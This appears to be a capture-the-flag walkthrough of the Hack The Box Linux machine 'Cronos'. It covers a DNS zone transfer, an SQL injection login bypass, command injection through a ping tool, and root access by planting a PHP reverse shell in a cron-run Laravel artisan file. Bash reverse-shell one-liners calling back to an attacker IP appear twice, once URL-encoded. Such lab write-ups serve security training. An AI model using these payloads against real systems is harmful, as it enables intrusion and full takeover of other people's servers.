Post

Cronos

Cronos

Cronos is a medium difficulty Linux machine. This box has only three TCP ports open; SSH, HTTP and DNS. DNS is configured in such a way that we are able to extract the domain name of this machine which resolves to cronos.htb. With the domain name we can perform a DNS zone transfer which leaks an admin subdomain. This admin page has a login form which is vulnerable to an SQL injection which allows us to bypass the login check. Once inside the admin page we have a command injection vulnerability which comes from a ping command. This page seems to be used to test the connection of different devices, and does not have any security checks. We are able to get a reverse shell from which we find a vulnerable cron job that we can abuse to get a reverse shell as the root user.

cron_info_card

Enumeration

As always we can start off with an nmap scan to reveal which TCP ports are open on thsi box.

Nmap Scan

1
2
3
4
5
6
7
8
9
10
# Nmap 7.94SVN scan initiated Wed Jun 18 15:54:24 2025 as: nmap -Pn -n -oN nmap/allports --min-rate 5000 -p- 10.10.10.13
Nmap scan report for 10.10.10.13
Host is up (0.021s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

# Nmap done at Wed Jun 18 15:54:35 2025 -- 1 IP address (1 host up) scanned in 11.15 seconds

There are only three TCP ports open, a quick look around the website reveals that it is just the default Apache welcome page. DNS being open suggests that there could be some missconfigurations. The main objective would be to perform a DNS zone transfer to leak the different subdomains the machine has available but to do so we need the hostname. To get the hostname we can use the nslookup tool.

1
2
nslookup 10.10.10.13 10.10.10.13
13.10.10.10.in-addr.arpa	name = ns1.cronos.htb.

DNS Zone Transfer

We can see from the output that cronos.htb is the domain name. To perform the DNS zone transfer we can use the following command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dig axfr @10.10.10.13 cronos.htb

; <<>> DiG 9.18.28-1~deb12u2-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.		604800	IN	NS	ns1.cronos.htb.
cronos.htb.		604800	IN	A	10.10.10.13
admin.cronos.htb.	604800	IN	A	10.10.10.13
ns1.cronos.htb.		604800	IN	A	10.10.10.13
www.cronos.htb.		604800	IN	A	10.10.10.13
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 19 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Wed Jun 18 20:54:17 CEST 2025
;; XFR size: 7 records (messages 1, bytes 203)

Finding the Hidden Subdomains

We can see from the output that we gain access to the admin.cronos.htb subdomain which we can add to our hosts file to be able to access the webpage. alt text

Discovering the SQL injection to Bypass the Login

Trying common login credentials such as admin:admin does not work so I try to test for an SQL injection which works and we are able to bypass the login form. We can input the following data into the fields to do so:

1
2
UserName: a' OR 1=1 -- -
Password: a

Once inside the welcome page we see a very simple net tool

alt text

Finding a Potential RCE vector

The ping command is a very common to a command injection vulnerability. I captured the request to work with it in burpsuite as that makes things easier:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /welcome.php HTTP/1.1
Host: admin.cronos.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://admin.cronos.htb/welcome.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
Origin: http://admin.cronos.htb
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=dsdgr0k8vbv3tmem16na0fkqu7
Upgrade-Insecure-Requests: 1
Priority: u=0, i

command=ping+-c+1&host=8.8.8.8

We can try a simple and easy to see check by appending a sleep command to the end of the host parameter. The reason to append this at the end of the hosts parameter is because the ping command works as follows ping host. If we append our command at the end of the host we can execute any code after executing the ping command. We can try with a command=ping+-c+1&host=8.8.8.8 ; sleep 2 to check if the reply takes 2 seconds longer, which it does. After confirming the command injection we can try with a bash reverse shell. I had some issues with character encoding but I managed to fix it by encoding the entire command into URL form.

I used the following reverse shell: bash -c 'bash -i >& /dev/tcp/10.10.14.14/9001 0>&1' and sent the following payload:

1
command=ping+-c+1&host=8.8.8.8 ; %62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%31%34%2f%39%30%30%31%20%30%3e%26%31%27

Privilege Escalation

Before sending it I set up a listener on the same port on my machine and sure enough we get a connection back as www-data. This user can directly read the user.txt flag inside the home directory of the user noulis. From here you could try running linpeas and other priv esc methods but the name of the machine is Cronos. We can safely assume that it is a cron tab exploit. Checking the crontab file inside /etc/crontab file we see the following:

1
2
3
4
5
6
7
8
9
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *	root	php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

The last command is really interesting as it executes every minute as the root user. It is executing a file inside the /var/www/ directory which is the home directory of the www-data user we already own. The artisan file is also writable by us and contains a php script. I simply added the following php reverse shell at the top of the file, which will send me a reverse shell as the root user every minute.

1
2
3
4
5
cat ~/laravel/artisan
#!/usr/bin/env php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.14/9002 0>&1'");
/*

alt text

This post is licensed under CC BY 4.0 by the author.